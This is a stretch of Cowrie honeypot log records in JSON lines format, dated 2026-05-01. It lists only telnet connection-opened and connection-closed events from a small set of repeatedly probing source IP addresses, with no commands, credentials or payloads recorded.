{"eventid":"cowrie.session.closed","duration":30.153923511505127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.481906Z","src_ip":"168.119.91.149","session":"d1c9901621e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48414,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d3acbefc41d","protocol":"telnet","message":"New connection: 81.30.157.18:48414 (159.203.135.109:23) [session: 6d3acbefc41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.529659Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48426,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e4beef6701","protocol":"telnet","message":"New connection: 81.30.157.18:48426 (159.203.135.109:23) [session: 88e4beef6701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.707987Z"}
{"eventid":"cowrie.session.closed","duration":30.92868161201477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.046480Z","src_ip":"81.30.157.18","session":"20e7a128ce1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":41096,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fc6d912a307","protocol":"telnet","message":"New connection: 37.187.24.227:41096 (159.203.135.109:23) [session: 7fc6d912a307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.073132Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":34306,"dst_ip":"159.203.135.109","dst_port":23,"session":"caac5c0f46bc","protocol":"telnet","message":"New connection: 149.102.133.101:34306 (159.203.135.109:23) [session: caac5c0f46bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.115433Z"}
{"eventid":"cowrie.session.closed","duration":30.86861538887024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.121418Z","src_ip":"81.30.157.18","session":"184bf1772b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43530,"dst_ip":"159.203.135.109","dst_port":23,"session":"21c2ae0811ba","protocol":"telnet","message":"New connection: 147.135.136.77:43530 (159.203.135.109:23) [session: 21c2ae0811ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.193026Z"}
{"eventid":"cowrie.session.closed","duration":30.663225173950195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.238001Z","src_ip":"81.30.157.18","session":"5ad6f1d6fb8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":46778,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2e2df4f3b5","protocol":"telnet","message":"New connection: 46.101.32.143:46778 (159.203.135.109:23) [session: 0e2e2df4f3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.275458Z"}
{"eventid":"cowrie.session.closed","duration":30.37094783782959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.507423Z","src_ip":"168.119.91.149","session":"a64bd5d217d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43524,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0880e8f60a","protocol":"telnet","message":"New connection: 147.135.136.77:43524 (159.203.135.109:23) [session: eb0880e8f60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.519450Z"}
{"eventid":"cowrie.session.closed","duration":30.307884216308594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.526749Z","src_ip":"168.119.91.149","session":"b8a97743b4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42772,"dst_ip":"159.203.135.109","dst_port":23,"session":"16348f970c92","protocol":"telnet","message":"New connection: 37.187.24.227:42772 (159.203.135.109:23) [session: 16348f970c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.576582Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48466,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2ae3f6516b","protocol":"telnet","message":"New connection: 81.30.157.18:48466 (159.203.135.109:23) [session: bf2ae3f6516b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.627972Z"}
{"eventid":"cowrie.session.closed","duration":31.915766954421997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:48.976366Z","src_ip":"81.30.157.18","session":"ada317a79c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":60098,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a472382d10","protocol":"telnet","message":"New connection: 168.119.91.149:60098 (159.203.135.109:23) [session: c3a472382d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.017756Z"}
{"eventid":"cowrie.session.closed","duration":30.548145532608032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.048485Z","src_ip":"147.135.136.77","session":"b6d623414a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88218903541565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.057462Z","src_ip":"81.30.157.18","session":"2579b23c2855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48532,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e2bc25f872","protocol":"telnet","message":"New connection: 81.30.157.18:48532 (159.203.135.109:23) [session: b5e2bc25f872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.064293Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48536,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a38b01f55ba","protocol":"telnet","message":"New connection: 81.30.157.18:48536 (159.203.135.109:23) [session: 6a38b01f55ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.067789Z"}
{"eventid":"cowrie.session.closed","duration":31.135050773620605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.087777Z","src_ip":"81.30.157.18","session":"7eab67f48caa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09507942199707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.130603Z","src_ip":"81.30.157.18","session":"a23c614b49d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65718150138855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.170491Z","src_ip":"81.30.157.18","session":"2d172b1fed68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44204,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eeeb362047d","protocol":"telnet","message":"New connection: 37.187.24.227:44204 (159.203.135.109:23) [session: 5eeeb362047d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.192333Z"}
{"eventid":"cowrie.session.closed","duration":33.786073446273804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.275096Z","src_ip":"147.135.136.77","session":"46f9bb06b3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48548,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad92eb996d81","protocol":"telnet","message":"New connection: 81.30.157.18:48548 (159.203.135.109:23) [session: ad92eb996d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.391084Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":34320,"dst_ip":"159.203.135.109","dst_port":23,"session":"2def781e1e39","protocol":"telnet","message":"New connection: 149.102.133.101:34320 (159.203.135.109:23) [session: 2def781e1e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.396604Z"}
{"eventid":"cowrie.session.closed","duration":30.89609384536743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.456349Z","src_ip":"147.135.136.77","session":"0a3e9b11ed14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.185041427612305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.496505Z","src_ip":"168.119.91.149","session":"20af81ba4e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.327426195144653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.520998Z","src_ip":"168.119.91.149","session":"684357452e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94549536705017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.528397Z","src_ip":"168.119.91.149","session":"78ad7edf53dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566710710525513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.574273Z","src_ip":"168.119.91.149","session":"fec20f6b3b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37310,"dst_ip":"159.203.135.109","dst_port":23,"session":"669963735902","protocol":"telnet","message":"New connection: 168.119.91.149:37310 (159.203.135.109:23) [session: 669963735902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:49.886136Z"}
{"eventid":"cowrie.session.closed","duration":30.841059684753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.041940Z","src_ip":"147.135.136.77","session":"66e1beedd8dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43544,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c60ea59e92","protocol":"telnet","message":"New connection: 147.135.136.77:43544 (159.203.135.109:23) [session: 52c60ea59e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.220830Z"}
{"eventid":"cowrie.session.closed","duration":31.077801942825317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.305773Z","src_ip":"149.102.133.101","session":"5ff1ee012f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48556,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b9c71e47076","protocol":"telnet","message":"New connection: 81.30.157.18:48556 (159.203.135.109:23) [session: 2b9c71e47076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.353949Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48568,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e2a3589274f","protocol":"telnet","message":"New connection: 81.30.157.18:48568 (159.203.135.109:23) [session: 9e2a3589274f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.492273Z"}
{"eventid":"cowrie.session.closed","duration":30.85745334625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.506244Z","src_ip":"168.119.91.149","session":"97907a1790d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13276219367981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.511619Z","src_ip":"168.119.91.149","session":"73e9db21155e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffef581174b1","protocol":"telnet","message":"New connection: 81.30.157.18:48578 (159.203.135.109:23) [session: ffef581174b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.570279Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37320,"dst_ip":"159.203.135.109","dst_port":23,"session":"c09164f9ad58","protocol":"telnet","message":"New connection: 168.119.91.149:37320 (159.203.135.109:23) [session: c09164f9ad58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.686864Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":34324,"dst_ip":"159.203.135.109","dst_port":23,"session":"c049255018f7","protocol":"telnet","message":"New connection: 149.102.133.101:34324 (159.203.135.109:23) [session: c049255018f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:50.707929Z"}
{"eventid":"cowrie.session.closed","duration":30.46587824821472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.046613Z","src_ip":"81.30.157.18","session":"057a97aa5d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71107816696167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.063339Z","src_ip":"37.187.24.227","session":"79785660aa18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37332,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a29dba0005","protocol":"telnet","message":"New connection: 168.119.91.149:37332 (159.203.135.109:23) [session: 15a29dba0005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.074703Z"}
{"eventid":"cowrie.session.closed","duration":30.763254165649414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.109337Z","src_ip":"46.101.32.143","session":"2a27f941e093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434472799301147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.114698Z","src_ip":"81.30.157.18","session":"9433c02c857a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80109214782715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.313873Z","src_ip":"149.102.133.101","session":"23fef0339ac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.854110717773438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.370413Z","src_ip":"168.119.91.149","session":"46127679616f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48592,"dst_ip":"159.203.135.109","dst_port":23,"session":"655444a4a6df","protocol":"telnet","message":"New connection: 81.30.157.18:48592 (159.203.135.109:23) [session: 655444a4a6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.451458Z"}
{"eventid":"cowrie.session.closed","duration":30.430761337280273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.502806Z","src_ip":"168.119.91.149","session":"b8da6aaf719b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd7c3d90bb5","protocol":"telnet","message":"New connection: 168.119.91.149:37346 (159.203.135.109:23) [session: bdd7c3d90bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.639394Z"}
{"eventid":"cowrie.session.closed","duration":31.643451690673828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.716429Z","src_ip":"46.101.32.143","session":"92845a826a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf24796e1d43","protocol":"telnet","message":"New connection: 81.30.157.18:48608 (159.203.135.109:23) [session: cf24796e1d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.762722Z"}
{"eventid":"cowrie.session.closed","duration":30.876586437225342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:51.965998Z","src_ip":"168.119.91.149","session":"0e98b04cb545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.847045421600342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.020224Z","src_ip":"147.135.136.77","session":"971bd434ca0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815305948257446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.044544Z","src_ip":"37.187.24.227","session":"ba8748985de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75222134590149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.050034Z","src_ip":"81.30.157.18","session":"9ca6df14d154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634605169296265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.062607Z","src_ip":"37.187.24.227","session":"3558208a74ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06813883781433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.103289Z","src_ip":"147.135.136.77","session":"028215d482be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48622,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fb987a6a0a2","protocol":"telnet","message":"New connection: 81.30.157.18:48622 (159.203.135.109:23) [session: 6fb987a6a0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.325366Z"}
{"eventid":"cowrie.session.closed","duration":31.673738956451416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.382261Z","src_ip":"168.119.91.149","session":"336b50a92b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":52652,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ac0c839374","protocol":"telnet","message":"New connection: 37.187.24.227:52652 (159.203.135.109:23) [session: d3ac0c839374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.499120Z"}
{"eventid":"cowrie.session.closed","duration":31.125184774398804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.524664Z","src_ip":"81.30.157.18","session":"e510a599becd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":34338,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa7b14cd084","protocol":"telnet","message":"New connection: 149.102.133.101:34338 (159.203.135.109:23) [session: 9fa7b14cd084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:52.779075Z"}
{"eventid":"cowrie.session.closed","duration":30.28171420097351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.055475Z","src_ip":"37.187.24.227","session":"d2c5dfd35f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593159914016724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.139983Z","src_ip":"206.189.139.22","session":"dac91948860d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734952926635742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.336444Z","src_ip":"149.102.133.101","session":"9bdb4a777012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"241c26eab093","protocol":"telnet","message":"New connection: 37.187.24.227:54718 (159.203.135.109:23) [session: 241c26eab093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.347206Z"}
{"eventid":"cowrie.session.closed","duration":30.140262842178345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.485662Z","src_ip":"168.119.91.149","session":"3e9915febce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822781562805176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.518625Z","src_ip":"168.119.91.149","session":"50e8eb4ffb99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":37352,"dst_ip":"159.203.135.109","dst_port":23,"session":"826e56e3d39c","protocol":"telnet","message":"New connection: 168.119.91.149:37352 (159.203.135.109:23) [session: 826e56e3d39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:53.947334Z"}
{"eventid":"cowrie.session.closed","duration":30.19057059288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.089087Z","src_ip":"37.187.24.227","session":"b4471cd824bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050727128982544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.129286Z","src_ip":"81.30.157.18","session":"7083080126c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628310918807983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.136477Z","src_ip":"149.102.133.101","session":"2902df8de182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923259735107422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.143308Z","src_ip":"37.187.24.227","session":"2dc800782416","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57174,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c7f2bc685c8","protocol":"telnet","message":"New connection: 37.187.24.227:57174 (159.203.135.109:23) [session: 0c7f2bc685c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.227771Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57272,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ff0e2a8ff5","protocol":"telnet","message":"New connection: 37.187.24.227:57272 (159.203.135.109:23) [session: 97ff0e2a8ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.261519Z"}
{"eventid":"cowrie.session.closed","duration":30.97951626777649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.311209Z","src_ip":"81.30.157.18","session":"e96955fe8458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":46830,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c500725e885","protocol":"telnet","message":"New connection: 85.208.100.77:46830 (159.203.135.109:23) [session: 2c500725e885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.323166Z"}
{"eventid":"cowrie.session.closed","duration":30.78775644302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.488862Z","src_ip":"168.119.91.149","session":"cf7bdbc188f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":53288,"dst_ip":"159.203.135.109","dst_port":23,"session":"29138f250b0a","protocol":"telnet","message":"New connection: 46.101.32.143:53288 (159.203.135.109:23) [session: 29138f250b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:54.541814Z"}
